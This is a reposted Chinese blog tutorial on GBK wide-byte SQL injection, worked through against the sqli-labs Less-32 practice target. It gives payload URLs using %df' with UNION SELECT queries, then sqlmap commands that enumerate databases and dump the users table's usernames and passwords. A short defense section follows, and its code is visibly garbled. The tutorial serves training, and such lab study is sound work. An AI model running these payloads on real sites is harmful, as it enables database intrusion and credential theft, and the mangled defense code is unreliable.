渗透测试-SQL注入之宽字节注入

这篇具有很好参考价值的文章主要介绍了渗透测试-SQL注入之宽字节注入。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

SQL注入之宽字节注入

前言

一、什么是宽字节注入

宽字节是相对于ascII这样单字节而言的;像 GB2312、GBK、GB18030、BIG5、Shift_JIS 等这些都是常说的宽字节,实际上只有两字节。GBK 是一种多字符的编码,通常来说,一个 gbk 编码汉字,占用2个字节。一个 utf-8 编码的汉字,占用3个字节。

转义函数:为了过滤用户输入的一些数据,对特殊的字符加上反斜杠“\”进行转义;

宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

二、宽字节注入获取数据库信息

1.宽字节注入方法

渗透测试-SQL注入之宽字节注入
宽字节注入原理
程序员防止注入点,在其后面加入\进行转义
利用在其后面注入点发现没有报错
http://192.168.222.4/sqli-labs/Less-32/?id=2%df%27

注入?id=1%df’ 出现报错,存在注入
http://192.168.222.4/sqli-labs/Less-32/?id=1’(不可以注入)
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
http://192.168.222.4/sqli-labs/Less-32/?id=1%df%27
MySQL在使用GBK编码时,两个字符组合,认为是一个汉字
%df’->%df’-> %df%5c%27(%df%5c是一个汉字)->(汉字)‘->id=(汉字)’ and (可以注入)

(1)用sqli-labs靶场进行演示,这里l利用32关进行练习
首先我们尝试进行注入在后面加’
http://192.168.222.4/sqli-labs/Less-32/?id=1’
渗透测试-SQL注入之宽字节注入
发现没有报错,我们可以去看看源代码是怎么写的
渗透测试-SQL注入之宽字节注入
渗透测试-SQL注入之宽字节注入
发现注入的’ 被\转义了,无法进行注入
而且发现代码中用的是gbk编码,说明存在宽字节注入
mysql_query(“SET NAMES gbk”);

然后我们就可以进行宽字节注入,后面叫上%df’试试
http://192.168.222.4/sqli-labs/Less-32/?id=1%df’
渗透测试-SQL注入之宽字节注入
发现报错,所以肯定存在宽字节注入,然后查询有多少列
渗透测试-SQL注入之宽字节注入
渗透测试-SQL注入之宽字节注入
发现存在3列,接下来尝试注入查找用户信息
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select user()),3–+
渗透测试-SQL注入之宽字节注入
注入成功,查看当前数据库的表
http://192.168.222.4/sqli-labs/Less-32/?id=%df’ union select 1,(select table_name from information_schema.tables where table_schema=database() limit 3,1),3–+
渗透测试-SQL注入之宽字节注入
用户信息应该在users表中,接下来继续注入查看表中的信息,这里利用sqlmap进行注入查询,会比较方便
(2)打开sqlmap,输入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
渗透测试-SQL注入之宽字节注入
这里会显示id没有注入,没事,进行下一步宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
渗透测试-SQL注入之宽字节注入
没有报错,接下来查当前用户
sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
渗透测试-SQL注入之宽字节注入
渗透测试-SQL注入之宽字节注入
查用户成功,接下来查库
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
渗透测试-SQL注入之宽字节注入
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)
渗透测试-SQL注入之宽字节注入
(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column
渗透测试-SQL注入之宽字节注入
(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)
渗透测试-SQL注入之宽字节注入

2.宽字节注入防御方法

(1)使用utf-8,避免宽字节注入;
ps: 不仅在gbk,韩文,日文等等都是快字节注入漏洞

2.mysql_real_escape_string,mysql_set_charset('gbk, c o n n ′ ) ; 3. 可以设置参数, c h a r a c t e r s e t c l i e n t = b i n a r y 只需在该语句中插入 conn'); 3.可以设置参数,character_set_client=binary 只需在该语句中插入 conn);3.可以设置参数,charactersetclient=binary只需在该语句中插入result=mysql_query($sql)即可
r e s u l t = m y s q l q u e r y ( " c h a r a c t e r s e t c l i e n t = b i n a r y " , result=mysql_query("character_set_client=binary", result=mysqlquery("charactersetclient=binary",sql);//就不会出现宽字节注入了

(2)这里总结一下sqlmap宽字节注入的使用语句

sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1”
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df”
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-user
python sqlmap.py -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” --current-db(查数据库)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security --tables(当前数据库有哪些表)

(当前表中有哪些字段)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users --column

(当前表中有哪些数据)
sqlmap -u “http://192.168.222.4/sqli-labs/Less-32/?id=1%df” -D security -T users -C username,password --dump(使用dump来获取内容)

总结

本次实验是对SQL注入的宽字节注入进行靶场练习,了解了宽字节注入的原理和注入方法,学会了对代码的审计,判断注入的方式,从而获取到用户的信息。文章来源地址https://www.toymoban.com/news/detail-403531.html

到了这里,关于渗透测试-SQL注入之宽字节注入的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • web渗透之sql注入

    博主姓名:摆烂阳 博主主页面链接:传送门 新人入圈,希望博主的内容可以给大家带来帮助,有任何问题可以私信本人 摆烂阳从不摆烂滴 所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先

    2023年04月08日
    浏览(27)
  • sqlmap 是一个自动化的 sql 注入渗透工具

    一.介绍 sqlmap 是一个自动化的 sql 注入渗透工具,指纹检测、注入方式、注入成功后的取数据等等都是自动化的,sqlmap 还提供了很多脚本.但在实践测试的时候基本用不上.用于检测和利用 Web 应用程序中的 SQL 注入漏洞。它自动化了识别和利用 SQL 注入漏洞的过程,并可用于执

    2024年01月23日
    浏览(38)
  • 安全测试-SQL注入

    SQL注入是针对一种数据库而言的,而不是针对网页语言。在任何使用了数据库查询环境下都可能存在。常见的数据库包括:MySQL、Oracle、Db2等。针对不同的数据库系统使用的一些函数会有所不同,不过从测试是否存在SQL注入的角度考虑,只需要进行几个最基本的判断语句就可

    2024年02月08日
    浏览(28)
  • SQL注入测试-业务安全测试实操(10)

    测试原理和方法 SQL注入就是通过把SQL命令插入Web表单提交或输入域名页面请求的查询字符串最终达到欺骗服务器执行恶意的SOL命令的目的。具体来说,它是利用现有应用程序,将(恶意)SOL命令注入后台数据库引擎执行的能力,它可以通过在Web表单中输入 (恶意)SOL 语句获取一个

    2024年02月09日
    浏览(27)
  • Web安全:SQL注入漏洞测试.

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月05日
    浏览(41)
  • Web安全:SQL注入漏洞测试(防止 黑客利用此漏洞.)

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2024年02月13日
    浏览(28)
  • Web安全 SQL注入漏洞测试.(可以 防止恶意用户利用漏洞)

    SQL注入就是 有些 恶意用户在提交查询请求的过程中 将SQL语句插入到请求内容 中,同时程序的本身对用户输入的内容过于相信, 没有对用户插入的SQL语句进行任何的过滤 ,从而 直接被SQL语句直接被服务端执行 ,导致数据库的原有信息泄露,篡改,甚至被删除等风险。 SQL注

    2023年04月20日
    浏览(35)
  • 使用Burp Suite和Python进行自动化漏洞挖掘—SQL测试注入插件

    每次测注入都是用burp的Intruder模块,很不方便就是批量跑批量测哪些没有过滤 懒人鹅上线,准备搞一个sql测试的插件 本篇文章代码量大,基础可以去看上一篇 测试sql基本注入的载荷,在可能有sql注入的地方发送测试包,目前只测试url中的,并可以根据错误回显判断出数据库

    2024年02月09日
    浏览(32)
  • 宽字节注入

    目录 1、魔术引号 什么是魔术引号? 如何开启魔术引号? 这是低版本做法:magic_quotes_gpc 这是高版本做法:addslashes() 如何绕过魔术引号? (一)找不需要闭合的点 (二)仔细查看作用域 (三)宽字节注入 2、宽字节注入例题讲解 3、如何用Sqlmap跑宽字节注入?  Sqlmap常见命

    2023年04月11日
    浏览(22)
  • 使用ASM在Android中进行字节码注入

    1.编译使用插件 这里自定义了一个插件用来对字节码进行操作 首先我们需要找到这个Gradle任务,双击进行编译打包 打包成功后会生成如下目录 然后我们需要在项目的gradle文件中进行引用 然后在application的model下的gradle中应用插件 这里在Activity中加了一个点击事件,这次是将

    2024年02月09日
    浏览(32)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包